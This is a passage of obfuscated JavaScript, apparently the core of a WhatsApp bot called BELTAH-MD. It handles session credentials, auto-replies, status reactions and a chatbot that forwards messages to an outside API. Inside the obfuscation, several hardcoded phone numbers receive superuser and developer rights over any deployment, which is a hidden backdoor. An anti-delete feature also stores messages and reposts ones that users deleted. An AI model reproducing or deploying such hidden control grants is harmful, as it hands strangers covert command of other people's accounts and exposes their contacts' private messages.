_0x2ce1b3[_0x54baff];}}),Object['defineProp'+'erty'](_0x35d1ee,_0x113646,_0x5ccd26);}:function(_0x5b425f,_0x36830d,_0xcd3916,_0x55fe8e){_0x55fe8e===undefined&&(_0x55fe8e=_0xcd3916),_0x5b425f[_0x55fe8e]=_0x36830d[_0xcd3916];}),__setModuleDefault=this&&this[_0x445be0(0x258)+'eDefault']||(Object['create']?function(_0x12d5f6,_0x2b28d8){Object['defineProp'+'erty'](_0x12d5f6,'default',{'enumerable':!![],'value':_0x2b28d8});}:function(_0xd62547,_0x27e90a){const _0x1f76d8={'YnxzJ':'default'};_0xd62547[_0x1f76d8['YnxzJ']]=_0x27e90a;}),__importStar=this&&this['__importSt'+'ar']||function(_0x54e61c){const _0x3156d1=_0x445be0,_0x278dfb={'Eatqw':function(_0x4de363,_0x4cb610){return _0x4de363!==_0x4cb610;}};if(_0x54e61c&&_0x54e61c[_0x3156d1(0x21a)])return _0x54e61c;var _0x3be2a7={};if(_0x54e61c!=null){for(var _0x172700 in _0x54e61c)_0x278dfb['Eatqw'](_0x172700,'default')&&Object['prototype'][_0x3156d1(0x237)+'erty']['call'](_0x54e61c,_0x172700)&&__createBinding(_0x3be2a7,_0x54e61c,_0x172700);}return __setModuleDefault(_0x3be2a7,_0x54e61c),_0x3be2a7;},__importDefault=this&&this[_0x445be0(0x275)+'fault']||function(_0x60f4cb){return _0x60f4cb&&_0x60f4cb['__esModule']?_0x60f4cb:{'default':_0x60f4cb};};Object['defineProp'+'erty'](exports,'__esModule',{'value':!![]});const baileys_1=__importStar(require('@whiskeyso'+'ckets/bail'+'eys')),logger_1=__importDefault(require('@whiskeyso'+'ckets/bail'+'eys/lib/Ut'+'ils/logger')),logger=logger_1['default']['child']({});logger[_0x445be0(0x274)]=_0x445be0(0x217);const pino=require('pino'),axios=require('axios'),{DateTime}=require('luxon'),boom_1=require('@hapi/boom'),conf=require(_0x445be0(0x220));let fs=require('fs-extra'),path=require('path');const FileType=require('file-type'),{Sticker,createSticker,StickerTypes}=require('wa-sticker'+'-formatter'),{verifierEtatJid,recupererActionJid}=require('./bdd/anti'+'lien'),{atbverifierEtatJid,atbrecupererActionJid}=require(_0x445be0(0x255)+'bot');function _0x59a8(_0x5b1f72,_0x1b300a){const _0x1bc11f=_0x2eb2();return _0x59a8=function(_0x2225a1,_0x46ceb2){_0x2225a1=_0x2225a1-(0x2452+-0x943*-0x1+-0x1*0x2ba9);let _0x5c519e=_0x1bc11f[_0x2225a1];return _0x5c519e;},_0x59a8(_0x5b1f72,_0x1b300a);}let evt=require(__dirname+('/keizzah/k'+'eith'));const {isUserBanned,addUserToBanList,removeUserFromBanList}=require('./bdd/banU'+'ser'),{addGroupToBanList,isGroupBanned,removeGroupFromBanList}=require(_0x445be0(0x26a)+'roup'),{isGroupOnlyAdmin,addGroupToOnlyAdminList,removeGroupFromOnlyAdminList}=require('./bdd/only'+'Admin');let {reagir}=require(__dirname+('/keizzah/a'+'pp'));var session=conf['session']['replace'](/BELTAH-MD;;;=>/g,'');const prefixe=conf['PREFIXE']||[];function _0x2eb2(){const _0x39ff59=['remove','Command\x20lo','videoMessa','user','psert','./bdd/anti','msg','mtype','__setModul','Disconnect','owner','group_id','long','ding\x20link.','\x20ᴍᴇssᴀɢᴇ:*','AUTO_STATU','ted,\x20\x0a','ғ\x20ʙᴇʟᴛᴀʜ-ᴍ','floor','./media/ch','author','18MrHIat','xtMessage','AUTO_DOWNL','.update','iwwRO','./bdd/banG','makeInMemo','aRYFd','oth\x20','leAuthStat','sendMessag','t\x20:\x20','\x20replaced,','--------/-','ccurred,\x20R','level','__importDe','adcast','on\x20success','167725xUrhlW','2704415apgHxO','type','ted\x20,\x20you\x20','robi','audioMessa','slice','rono.webp','241100cYPOXy','t\x20overflow','.js','NUMERO_OWN','voiceMessa','connection','random','filter','close\x20the\x20','lien\x20detec','delete','timeout','imageMessa','115314NxXuOU','antidemote','je\x20fais\x20ri','Executing\x20','map','existsSync','message','leted\x20\x0a\x20@','ights.','text','a\x20message.','ssage','audio','\x20is\x20alread','ewsletter:','sendPresen','private','21772fAxzgM','BLE\x20🛸\x0a┃Ple','6604904JAKuRL','mmands...\x0a','silent','\x20code...','key','__esModule','extendedTe','yes',':\x20[\x20','log','jidDecode','./set','a8000/Zoko','includes','unwatchFil','split','can\x20the\x20QR','axdSp','ᴇᴄʜ\x20ᴛᴇᴀᴍ.','Error\x20fetc','2871010ItYvJf','t\x20be\x20a\x20str','st1.webp','18PJHPPM','remoteJid','\x20to\x20the\x20se','BELTAH-MD','setautorep','ssages\x20---','de\x20;\x0a\x20rest','goodbye','p.net','toLocaleLo','tBaileysVe','hasOwnProp','off','Bot\x27s\x20user','https://bk','#000000','dated\x20to:\x0a','s\x20time\x20to\x20','ate','chats','participan','QPmVS','length','Reason','@s.whatsap','rom\x20group.','S_MSG','549refVPp','STATUS','age','Session\x20In','unlink','ryStore','resolve','will\x20be\x20re','readMessag'];_0x2eb2=function(){return _0x39ff59;};return _0x2eb2();}require('dotenv')['config']({'path':'./config.e'+'nv'});async function authentification(){const _0x37cf9e=_0x445be0,_0x46c3fc={'axdSp':'connected\x20'+'successful'+'ly...','hSCsb':function(_0x2ce0fb,_0x438ee8){return _0x2ce0fb(_0x438ee8);},'Gzsax':'utf8','lIbdc':function(_0x73ba68,_0x24437b){return _0x73ba68!=_0x24437b;},'DXDrq':function(_0x2e643d,_0x2a8e9e){return _0x2e643d+_0x2a8e9e;}};try{if(!fs[_0x37cf9e(0x207)](__dirname+('/auth/cred'+'s.json')))console['log'](_0x46c3fc[_0x37cf9e(0x226)]),await fs['writeFileS'+'ync'](__dirname+('/auth/cred'+'s.json'),_0x46c3fc['hSCsb'](atob,session),_0x46c3fc['Gzsax']);else fs['existsSync'](__dirname+('/auth/cred'+'s.json'))&&_0x46c3fc['lIbdc'](session,'zokk')&&await fs['writeFileS'+'ync'](_0x46c3fc['DXDrq'](__dirname,'/auth/cred'+'s.json'),atob(session),_0x46c3fc['Gzsax']);}catch(_0x3e734b){console['log'](_0x37cf9e(0x24a)+'valid\x20'+_0x3e734b);return;}}authentification(),-0x1*0x1927+-0xc29+-0x954*-0x4;const store=baileys_1[_0x445be0(0x26b)+_0x445be0(0x24c)]({'logger':pino()['child']({'level':'silent','stream':'store'})});setTimeout(()=>{const _0x506dd1=_0x445be0,_0x5af268={'OTNNT':function(_0x5892d6,_0x4e4279){return _0x5892d6(_0x4e4279);},'WooNs':'document','kITEk':'E6is3oN7Rd'+'EDl7OiA3b0'+'S3','TpXkW':'public','xqVLy':'yes','HWisy':'close','pSRkR':function(_0x558f9f){return _0x558f9f();},'pKogM':function(_0x51cfc,_0x4a8f9b){return _0x51cfc===_0x4a8f9b;},'BQIQv':function(_0x39ca36,_0x3a5019){return _0x39ca36-_0x3a5019;},'hAyeb':function(_0x3848e6,_0x3d475f){return _0x3848e6==_0x3d475f;},'jOuBf':'messages.u'+_0x506dd1(0x254),'qtUsd':function(_0x4b68eb,_0x4664bb){return _0x4b68eb*_0x4664bb;}};async function _0x16b8dc(){const _0x3fd8a1=_0x506dd1,_0x48fc4f={'azbhX':function(_0x231d7c,_0x2f1bf4){return _0x231d7c===_0x2f1bf4;},'wxCEE':function(_0x201ff4,_0x36d471){return _0x201ff4-_0x36d471;},'OEgSL':'Throttling'+'\x20reactions'+'\x20to\x20preven'+_0x3fd8a1(0x1f6)+'.','UnckK':function(_0x3d01ab,_0x53adb8){return _0x3d01ab+_0x53adb8;},'pPmBO':'Africa/Nai'+_0x3fd8a1(0x1f1),'MxJcS':'2547386258'+'27','msQVE':function(_0x1bf8b6,_0x53071f){return _0x1bf8b6+_0x53071f;},'inDLN':function(_0x287963,_0x32e83d){return _0x287963===_0x32e83d;},'rIanM':function(_0x119720,_0x27bdbc){return _0x5af268['BQIQv'](_0x119720,_0x27bdbc);},'DMfBM':function(_0x1acc38,_0x5cb3b2){return _0x1acc38==_0x5cb3b2;},'vPPYP':_0x3fd8a1(0x228)+'hing\x20chatb'+'ot\x20respons'+'e:','hcsev':function(_0x26aae2,_0x363a14){return _0x5af268['OTNNT'](_0x26aae2,_0x363a14);},'duHkv':function(_0xf76c55,_0x4d5f99){return _0xf76c55(_0x4d5f99);},'nRnHv':'https://te'+'legra.ph/f'+'ile/dcce2d'+'dee6cc7597'+'c859a.jpg','alGpw':function(_0x368ef5,_0x16a3a9){return _0x368ef5===_0x16a3a9;},'KNDfb':'12345','OEYWL':'antibot\x20','QPmVS':'delete','aErYe':'./bdd/warn','lRjxb':function(_0x3820da,_0x179264){return _0x3820da&&_0x179264;},'gnHcs':'image','iwwRO':function(_0x31f7ea,_0xad7fb8,_0x369b0c){return _0x31f7ea(_0xad7fb8,_0x369b0c);},'fNCgb':'antipromot'+'e','yzVmp':function(_0x206c47,_0x1ca971){return _0x5af268['hAyeb'](_0x206c47,_0x1ca971);},'KEHrf':function(_0x45aa33,_0x384e09){return _0x45aa33==_0x384e09;},'LlpkV':function(_0x29683e,_0x1fcb54){return _0x29683e(_0x1fcb54);},'cLDwq':'./bdd/cron'};-0xf07+0x1c37+-0x1*0xd30;const {version:_0x1a99e5,isLatest:_0x45c9f1}=await baileys_1['fetchLates'+_0x3fd8a1(0x236)+'rsion']();0x166c+-0x25f9+-0x52f*-0x3;const {state:_0x20d97d,saveCreds:_0x2aada1}=await baileys_1['useMultiFi'+_0x3fd8a1(0x26e)+'e'](__dirname+'/auth');0xd3b+0x1b0c+-0x5c1*0x7;const _0x37e946={'version':_0x1a99e5,'logger':pino({'level':'silent'}),'browser':[_0x3fd8a1(0x22f),'safari','1.0.0'],'printQRInTerminal':!![],'fireInitQueries':![],'shouldSyncHistoryMessage':!![],'downloadHistory':!![],'syncFullHistory':!![],'generateHighQualityLinkPreview':!![],'markOnlineOnConnect':![],'keepAliveIntervalMs':0x7530,'auth':{'creds':_0x20d97d['creds'],'keys':baileys_1['makeCachea'+'bleSignalK'+'eyStore'](_0x20d97d['keys'],logger)},'getMessage':async _0x54db4b=>{const _0x10cfef=_0x3fd8a1;if(store){const _0x536024=await store['loadMessag'+'e'](_0x54db4b['remoteJid'],_0x54db4b['id'],undefined);return _0x536024['message']||undefined;}return{'conversation':'An\x20Error\x20O'+_0x10cfef(0x273)+'epeat\x20Comm'+'and!'};}};-0x125c+-0x15f6+0x2852*0x1;const _0x30d2a6=baileys_1['default'](_0x37e946);store['bind'](_0x30d2a6['ev']),setInterval(()=>{store['writeToFil'+'e']('store.json');},-0x2*0x10b4+0x55*-0x66+-0x2*-0x277f);const _0x1353f2=_0x362782=>new Promise(_0x15beff=>setTimeout(_0x15beff,_0x362782));let _0x421ed6=0x134f+0x1e*0x5+-0x13e5;const _0x4cdfd3=0xbce+-0x21eb+-0x29a5*-0x1;_0x30d2a6['ev']['on']('call',async _0x316968=>{const _0x4f97e1=_0x3fd8a1;if(_0x48fc4f['azbhX'](conf['ANTICALL'],'yes')){const _0x43a72d=_0x316968[0x19f3+0x1a48+-0x343b]['id'],_0x44234e=_0x316968[0x2*0xad5+-0x3b*-0x97+0x1*-0x3877]['from'];await _0x30d2a6['rejectCall'](_0x43a72d,_0x44234e);const _0x319d95=Date['now']();_0x48fc4f['wxCEE'](_0x319d95,_0x421ed6)>=_0x4cdfd3?(await client['sendMessag'+'e'](_0x44234e,{'text':conf['ANTICALL_M'+'SG']}),_0x421ed6=_0x319d95):console[_0x4f97e1(0x21e)]('Message\x20sk'+'ipped\x20to\x20p'+'revent\x20ove'+'rflow');}});const _0x31ff1c=['❤️','💖','💘','💝','💓','💌','💕','😎','🔥','💥','💯','✨','🌟','🌈','⚡','💎','🌀','👑','🎉','🎊','🦄','👽','🛸','🚀','🦋','💫','🍀','🎶','🎧','🎸','🎤','🏆','🏅','🌍','🌎','🌏','🎮','🎲','💪','🏋️','🥇','👟','🏃','🚴','🚶','🏄','⛷️','🕶️','🧳','🍿','🍿','🥂','🍻','🍷','🍸','🥃','🍾','🎯','⏳','🎁','🎈','🎨','🌻','🌸','🌺','🌹','🌼','🌞','🌝','🌜','🌙','🌚','🍀','🌱','🍃','🍂','🌾','🐉','🐍','🦓','🦄','🦋','🦧','🦘','🦨','🦡','🐉','🐅','🐆','🐓','🐢','🐊','🐠','🐟','🐡','🦑','🐙','🦀','🐬','🦕','🦖','🐾','🐕','🐈','🐇','🐾'];let _0x44a739=-0x259+-0xe7f*0x2+0x1f57;conf['AUTO_LIKE_'+'STATUS']==='yes'&&(console['log']('AUTO_LIKE_'+'STATUS\x20is\x20'+'enabled.\x20L'+'istening\x20f'+'or\x20status\x20'+'updates...'),_0x30d2a6['ev']['on'](_0x5af268['jOuBf'],async _0x43e477=>{const _0x32b883=_0x3fd8a1,{messages:_0x3ef0d9}=_0x43e477;for(const _0x5b07cd of _0x3ef0d9){if(_0x5b07cd['key']&&_0x5b07cd['key']['remoteJid']==='status@bro'+_0x32b883(0x276)){console['log']('Detected\x20s'+'tatus\x20upda'+'te\x20from:',_0x5b07cd['key']['remoteJid']);const _0xfbfedf=Date['now']();if(_0xfbfedf-_0x44a739<-0x19ab*0x1+-0x17d1+0x4504){console['log'](_0x48fc4f['OEgSL']);continue;}const _0x47dd87=_0x30d2a6['user']&&_0x30d2a6[_0x32b883(0x253)]['id']?_0x48fc4f['UnckK'](_0x30d2a6['user']['id']['split'](':')[-0xd7*-0x21+0x5d5+0x1*-0x218c],'@s.whatsap'+_0x32b883(0x234)):null;if(!_0x47dd87){console['log'](_0x32b883(0x239)+'\x20ID\x20not\x20av'+'ailable.\x20S'+'kipping\x20re'+'action.');continue;}const _0x37cd31=_0x31ff1c[Math['floor'](Math['random']()*_0x31ff1c['length'])];try{await _0x30d2a6['sendMessag'+'e'](_0x5b07cd['key']['remoteJid'],{'react':{'key':_0x5b07cd['key'],'text':_0x37cd31}},{'statusJidList':[_0x5b07cd['key']['participan'+'t']]}),_0x44a739=Date['now'](),console['log']('Successful'+'ly\x20reacted'+'\x20to\x20status'+'\x20update\x20by'+'\x20'+_0x5b07cd['key']['remoteJid']+'\x20with\x20'+_0x37cd31),await _0x1353f2(0x1a*-0x171+0x13d6+0x1974);}catch(_0x2f779e){console['error']('Error\x20reac'+'ting\x20to\x20st'+'atus\x20updat'+'e:',_0x2f779e);}}}}));conf['AUTOBIO']==='yes'&&setInterval(()=>{const _0x346e37=_0x3fd8a1,_0x3ad9cf=new Date();_0x30d2a6['updateProf'+'ileStatus']('👻\x20'+conf['BOT']+('\x20👻\x20||\x20𝐃𝐚𝐭𝐞'+':\x20')+_0x3ad9cf['toLocaleSt'+'ring']('en-US',{'timeZone':_0x48fc4f['pPmBO']})+'\x20||\x20𝐃𝐚𝐲:\x20'+_0x3ad9cf['toLocaleSt'+'ring']('en-US',{'weekday':_0x346e37(0x25c),'timeZone':'Africa/Nai'+'robi'})+'.');},_0x5af268['qtUsd'](-0x1698+-0x2223+0x38c5,0x1f8*-0x13+0x3e3+0x256d));let _0x12f2e7=new Set();_0x30d2a6['ev']['on']('messages.u'+'psert',async _0x56d38c=>{const _0x38a1f1=_0x3fd8a1,{messages:_0x3f3ac7}=_0x56d38c,_0x2d346c=_0x3f3ac7[0x1775+-0x9*0x191+-0x4*0x257];if(!_0x2d346c['message'])return;const _0x45f97a=_0x2d346c['message']['conversati'+'on']||_0x2d346c['message']['extendedTe'+'xtMessage']?.['text']||'',_0x523902=_0x2d346c[_0x38a1f1(0x219)]['remoteJid'],_0x187c3f=_0x523902['split']('@')[-0xf0b+0x24e0+0x15d5*-0x1];let _0x418d5f='Hello\x20@'+_0x187c3f+',\x20'+conf['OWNER_NAME']+('\x20is\x20unavai'+'lable\x20righ'+'t\x20now.\x20Kin'+'dly\x20leave\x20'+_0x38a1f1(0x20c));if(_0x45f97a['startsWith']('>')&&_0x2d346c['key']['fromMe']){const _0x28dfd3=_0x45f97a['slice'](0x1246*0x2+0x2*-0xb20+-0xe4b*0x1)['split']('\x20')[-0x9d*0x1b+-0x162+0x11f1],_0x21c517=_0x45f97a['slice'](_0x28dfd3[_0x38a1f1(0x242)]+(0x153c+-0x5*0x1a9+0x44f*-0x3))['trim']();if(_0x28dfd3===_0x38a1f1(0x230)+'ly'&&_0x21c517){_0x418d5f=_0x21c517,await _0x30d2a6['sendMessag'+'e'](_0x523902,{'text':'Auto-reply'+'\x20message\x20h'+'as\x20been\x20up'+_0x38a1f1(0x23c)+'\x22'+_0x418d5f+'\x22'});return;}}conf['GREET']==='yes'&&!_0x12f2e7['has'](_0x523902)&&!_0x2d346c[_0x38a1f1(0x219)]['fromMe']&&!_0x523902['includes']('@g.us')&&(await _0x30d2a6['sendMessag'+'e'](_0x523902,{'text':_0x418d5f,'mentions':[_0x523902]}),_0x12f2e7['add'](_0x523902));});function _0x1aa8e2(_0x3d6ddc){const _0x1198cf=_0x3d6ddc['key']['participan'+'t']||_0x3d6ddc['key']['remoteJid'];return'*『\x20👻\x20'+conf['BOT']+('\x20ᴀɴᴛɪᴅᴇʟᴇᴛ'+'ᴇ\x20👻\x20』*\x0a\x0a')+('*ᴅᴇʟᴇᴛɪᴏɴ\x20'+'ᴛɪᴍᴇ:*\x20'+new Date()['toLocaleSt'+'ring']()+'\x0a')+('*ᴅᴇʟᴇᴛᴇᴅ\x20ʙ'+'ʏ:*\x20@'+_0x1198cf['split']('@')[0x249b+-0x15d8+-0xec3]+('\x0a\x0a>\x20ᴅᴇʟᴇᴛᴇ'+'ᴅ\x20ɪɴғᴏʀᴍᴀᴛ'+'ɪᴏɴ\x20ʀᴇᴛʀɪᴇ'+'ᴠᴇᴅ\x20ʙʏ\x20ʙᴇʟ'+'ᴛᴀʜ-ᴍᴅ'));}async function _0x5f1ebc(_0xcb5a41){const _0x150c7f=_0x3fd8a1;if(_0xcb5a41['imageMessa'+'ge'])return await downloadMedia(_0xcb5a41['imageMessa'+'ge']);if(_0xcb5a41['videoMessa'+'ge'])return await downloadMedia(_0xcb5a41['videoMessa'+'ge']);if(_0xcb5a41['documentMe'+'ssage'])return await downloadMedia(_0xcb5a41['documentMe'+'ssage']);if(_0xcb5a41['audioMessa'+'ge'])return await _0x5af268['OTNNT'](downloadMedia,_0xcb5a41[_0x150c7f(0x1f2)+'ge']);if(_0xcb5a41['stickerMes'+'sage'])return await downloadMedia(_0xcb5a41['stickerMes'+'sage']);if(_0xcb5a41['voiceMessa'+'ge'])return await downloadMedia(_0xcb5a41[_0x150c7f(0x1f9)+'ge']);return null;}_0x30d2a6['ev']['on']('messages.u'+'psert',async _0x3ac8ee=>{const _0x2bfde9=_0x3fd8a1;if(conf['ADM']!==_0x2bfde9(0x21c))return;const {messages:_0x18c042}=_0x3ac8ee,_0x3f29ce=_0x18c042[-0x1e9a+0xdfa+0x10a0];if(!_0x3f29ce['message'])return;const _0x1d1314=_0x3f29ce['key'],_0x402015=_0x1d1314['remoteJid'];!store['chats'][_0x402015]&&(store['chats'][_0x402015]=[]);store[_0x2bfde9(0x23f)][_0x402015]['push'](_0x3f29ce);if(_0x3f29ce['message']['protocolMe'+_0x2bfde9(0x20d)]&&_0x3f29ce['message']['protocolMe'+'ssage']['type']===0x2*-0x1312+0x23aa+-0x1*-0x27a){const _0x40242f=_0x3f29ce['message']['protocolMe'+'ssage']['key'],_0x57bd5e=store['chats'][_0x402015],_0x1ab74c=_0x57bd5e['find'](_0x38d043=>_0x38d043['key']['id']===_0x40242f['id']);if(_0x1ab74c)try{const _0x3d8600=_0x1aa8e2(_0x1ab74c);if(_0x1ab74c['message']['conversati'+'on'])await _0x30d2a6['sendMessag'+'e'](_0x402015,{'text':_0x3d8600+('\x0a\x0a*ᴅᴇʟᴇᴛᴇᴅ'+_0x2bfde9(0x25e)+'\x20')+_0x1ab74c['message']['conversati'+'on'],'mentions':[_0x1ab74c['key'][_0x2bfde9(0x240)+'t']]});else{const _0x4b2cc0=await _0x5f1ebc(_0x1ab74c['message']);if(_0x4b2cc0){const _0x1b574a=_0x1ab74c['message']['imageMessa'+'ge']?'image':_0x1ab74c['message']['videoMessa'+'ge']?'video':_0x1ab74c['message']['documentMe'+'ssage']?_0x5af268['WooNs']:_0x1ab74c['message']['audioMessa'+'ge']?'audio':_0x1ab74c['message']['stickerMes'+'sage']?'sticker':_0x2bfde9(0x20e);await _0x30d2a6['sendMessag'+'e'](_0x402015,{[_0x1b574a]:_0x4b2cc0,'caption':_0x3d8600,'mentions':[_0x1ab74c['key']['participan'+'t']]});}}}catch(_0x4221e9){console['error']('Error\x20hand'+'ling\x20delet'+'ed\x20message'+':',_0x4221e9);}}}),_0x30d2a6['ev']['on']('messages.u'+'psert',async _0x475fc0=>{const _0x191c66=_0x3fd8a1,{messages:_0x544074}=_0x475fc0,_0x1c4563=_0x544074[0x1674+0x192a+-0x2f9e];if(!_0x1c4563['message'])return;const _0x1ea1ad=_0x477a05=>{const _0x4cb9bd=_0x59a8;if(!_0x477a05)return _0x477a05;if(/:\d+@/gi['test'](_0x477a05)){0x151*-0xa+0x57b+0x7af*0x1;let _0x5f07a8=baileys_1[_0x4cb9bd(0x21f)](_0x477a05)||{};return _0x5f07a8['user']&&_0x5f07a8['server']&&_0x5f07a8['user']+'@'+_0x5f07a8['server']||_0x477a05;}else return _0x477a05;};0x1*0x2276+-0x13b6+-0xec0;var _0x2fd902=baileys_1['getContent'+'Type'](_0x1c4563['message']),_0x1e9dde=_0x2fd902=='conversati'+'on'?_0x1c4563['message']['conversati'+'on']:_0x2fd902=='imageMessa'+'ge'?_0x1c4563['message']['imageMessa'+'ge']?.['caption']:_0x2fd902=='videoMessa'+'ge'?_0x1c4563['message']['videoMessa'+'ge']?.['caption']:_0x2fd902=='extendedTe'+'xtMessage'?_0x1c4563[_0x191c66(0x208)]?.['extendedTe'+'xtMessage']?.[_0x191c66(0x20b)]:_0x2fd902=='buttonsRes'+'ponseMessa'+'ge'?_0x1c4563?.['message']?.['buttonsRes'+'ponseMessa'+'ge']?.['selectedBu'+'ttonId']:_0x2fd902=='listRespon'+'seMessage'?_0x1c4563['message']?.['listRespon'+'seMessage']?.['singleSele'+'ctReply']?.['selectedRo'+'wId']:_0x2fd902=='messageCon'+'textInfo'?_0x1c4563?.['message']?.['buttonsRes'+'ponseMessa'+'ge']?.['selectedBu'+'ttonId']||_0x1c4563[_0x191c66(0x208)]?.['listRespon'+'seMessage']?.['singleSele'+'ctReply']?.['selectedRo'+'wId']||_0x1c4563['text']:'',_0x70fca9=_0x1c4563[_0x191c66(0x219)]['remoteJid'],_0x4014c0=_0x1ea1ad(_0x30d2a6['user']['id']),_0x1233f5=_0x4014c0['split']('@')[0x1a1d+0xb37*0x2+-0x1*0x308b];const _0x356001=_0x70fca9?.['endsWith']('@g.us');var _0xa27528=_0x356001?await _0x30d2a6['groupMetad'+'ata'](_0x70fca9):'',_0x5e5f9e=_0x356001?_0xa27528['subject']:'',_0x5cc460=_0x1c4563[_0x191c66(0x208)][_0x191c66(0x21b)+'xtMessage']?.['contextInf'+'o']?.['quotedMess'+_0x191c66(0x249)],_0x2d9b9b=_0x1ea1ad(_0x1c4563['message']?.['extendedTe'+_0x191c66(0x266)]?.['contextInf'+'o']?.['participan'+'t']),_0x4b6587=_0x356001?_0x1c4563['key']['participan'+'t']?_0x1c4563['key']['participan'+'t']:_0x1c4563['participan'+'t']:_0x70fca9;_0x1c4563['key']['fromMe']&&(_0x4b6587=_0x4014c0);var _0x4356d1=_0x356001?_0x1c4563['key']['participan'+'t']:'';const {getAllSudoNumbers:_0x41052f}=require('./bdd/sudo'),_0x44e9d5=_0x1c4563['pushName'],_0x5f3513=await _0x41052f(),_0x1182ea=[_0x1233f5,'2547376817'+'58','2541141411'+'92',_0x48fc4f['MxJcS'],'2547593285'+'81',conf[_0x191c66(0x1f8)+'ER']]['map'](_0x272ce1=>_0x272ce1['replace'](/[^0-9]/g)+('@s.whatsap'+'p.net')),_0x30356d=_0x1182ea['concat'](_0x5f3513),_0x1dce5c=_0x30356d['includes'](_0x4b6587);var _0x4ce6fe=['2541141411'+'92','2547376817'+'58','2547593285'+'81',_0x48fc4f['MxJcS']][_0x191c66(0x206)](_0x5ceab7=>_0x5ceab7['replace'](/[^0-9]/g)+('@s.whatsap'+'p.net'))['includes'](_0x4b6587);function _0x139c1e(_0x5db604){const _0x29ec02=_0x191c66;_0x30d2a6[_0x29ec02(0x26f)+'e'](_0x70fca9,{'text':_0x5db604},{'quoted':_0x1c4563});}console['log']('\x09\x20[][]...{'+'Beltah-Md}'+'...[][]'),console['log']('=========='+'=\x20New\x20mess'+'age\x20======'+'=====');_0x356001&&console['log']('message\x20se'+'nt\x20from\x20:\x20'+_0x5e5f9e);console[_0x191c66(0x21e)](_0x48fc4f['msQVE']('message\x20fr'+'om\x20:\x20[',_0x44e9d5)+'\x20:\x20'+_0x4b6587['split']('@s.whatsap'+'p.net')[-0x3*0x2d7+0x1112+-0x1*0x88d]+'\x20]'),console['log']('type\x20of\x20me'+'ssage\x20:\x20'+_0x2fd902),console[_0x191c66(0x21e)]('------end\x20'+'of\x20your\x20me'+_0x191c66(0x231)+'---'),console['log'](_0x1e9dde);function _0x489529(_0x17ddad){let _0xa86cc6=[];for(_0x475fc0 of _0x17ddad){if(_0x475fc0['admin']==null)continue;_0xa86cc6['push'](_0x475fc0['id']);}return _0xa86cc6;}var _0x586330=conf['ETAT'];if(_0x586330==-0x2b*-0x6+-0x87f+0x89*0xe)await _0x30d2a6[_0x191c66(0x211)+'ceUpdate']('available',_0x70fca9);else{if(_0x586330==-0x2b*0xda+-0x16bc+0x3a*0x106)await _0x30d2a6['sendPresen'+'ceUpdate']('composing',_0x70fca9);else _0x586330==0xf5d+-0x2524+0x15ca?await _0x30d2a6['sendPresen'+'ceUpdate']('recording',_0x70fca9):await _0x30d2a6['sendPresen'+'ceUpdate']('unavailabl'+'e',_0x70fca9);}const _0x4b8af5=_0x356001?await _0xa27528['participan'+'ts']:'';let _0x51b203=_0x356001?_0x489529(_0x4b8af5):'';const _0x13d648=_0x356001?_0x51b203['includes'](_0x4b6587):![];var _0x6e7dfd=_0x356001?_0x51b203['includes'](_0x4014c0):![];const _0x3df1f7=_0x1e9dde?_0x1e9dde['trim']()['split'](/ +/)['slice'](-0x158*0xd+-0xd5*-0x8+0xad1):null,_0x6c4a67=_0x1e9dde?_0x1e9dde['startsWith'](prefixe):![],_0x48cd79=_0x6c4a67?_0x1e9dde[_0x191c66(0x1f3)](0x64*-0x5+-0xd24+0xf19)['trim']()[_0x191c66(0x224)](/ +/)['shift']()['toLowerCas'+'e']():![],_0x46f1ec=conf['URL']['split'](',');function _0x430122(){const _0x348126=_0x191c66,_0x6447ac=Math[_0x348126(0x262)](Math[_0x348126(0x1fb)]()*_0x46f1ec[_0x348126(0x242)]),_0x5934b1=_0x46f1ec[_0x6447ac];return _0x5934b1;}var _0x378667={'superUser':_0x1dce5c,'dev':_0x4ce6fe,'verifGroupe':_0x356001,'mbre':_0x4b8af5,'membreGroupe':_0x4356d1,'verifAdmin':_0x13d648,'infosGroupe':_0xa27528,'nomGroupe':_0x5e5f9e,'auteurMessage':_0x4b6587,'nomAuteurMessage':_0x44e9d5,'idBot':_0x4014c0,'verifZokouAdmin':_0x6e7dfd,'prefixe':prefixe,'arg':_0x3df1f7,'repondre':_0x139c1e,'mtype':_0x2fd902,'groupeAdmin':_0x489529,'msgRepondu':_0x5cc460,'auteurMsgRepondu':_0x2d9b9b,'ms':_0x1c4563,'mybotpic':_0x430122};if(_0x70fca9==='1203632444'+'35092946@g'+'.us')return;conf['AUTO_READ_'+'MESSAGES']==='yes'&&_0x30d2a6['ev']['on']('messages.u'+'psert',async _0xd5e740=>{const {messages:_0x37c236}=_0xd5e740;for(const _0x2281e6 of _0x37c236){!_0x2281e6['key']['fromMe']&&await _0x30d2a6['readMessag'+'es']([_0x2281e6['key']]);}});if(!_0x1dce5c&&_0x48fc4f['inDLN'](_0x70fca9,_0x4b6587)&&conf['AUTO_REACT']==='yes'){const _0x33f9a1=['👣','🏗️','✈️','🌽','🏸','🛖','🍁','🛰️','🥔','🎡','🎸','🎼','🔉','📿','🪇','📹','🎞️','🪔','📔','🏷️','💰','📥','🗳️','📭','🖌️','📏','','🪛','🔨','⛓️‍💥','📌','🗝️','🔍','🥁','🔊','🥾','👢','🩰','👡','🙂','🎊','🎉','🎁','⛑️','👋'],_0x215570=_0x33f9a1[Math['floor'](Math['random']()*_0x33f9a1['length'])];_0x30d2a6['sendMessag'+'e'](_0x70fca9,{'react':{'text':_0x215570,'key':_0x1c4563['key']}});}if(!_0x1dce5c&&_0x70fca9===_0x4b6587&&conf['CHATBOT_IN'+'BOX']==='yes')try{const _0x401882=Date['now']();if(_0x48fc4f['rIanM'](_0x401882,_0x421ed6)<_0x4cdfd3){console['log']('Message\x20sk'+'ipped:\x20Too'+'\x20many\x20mess'+'ages\x20in\x20a\x20'+'short\x20time'+'.');return;}const _0x6dad79=await axios['get'](_0x191c66(0x23a)+'9.fun/ai/b'+'lackbox',{'params':{'q':_0x1e9dde}}),_0x59b890=_0x6dad79['data'];if(_0x59b890&&_0x59b890['status']&&_0x59b890['BK9'])await _0x30d2a6['sendMessag'+'e'](_0x70fca9,{'text':_0x59b890['BK9']}),_0x421ed6=Date['now']();else throw new Error('No\x20respons'+'e\x20content\x20'+'found.');}catch(_0x2ef750){console['error']('Error\x20fetc'+'hing\x20chatb'+'ot\x20respons'+'e:',_0x2ef750);}if(!_0x1dce5c&&_0x48fc4f['DMfBM'](_0x70fca9,_0x4b6587)&&conf['VOICE_CHAT'+'BOT_INBOX']==='yes')try{const 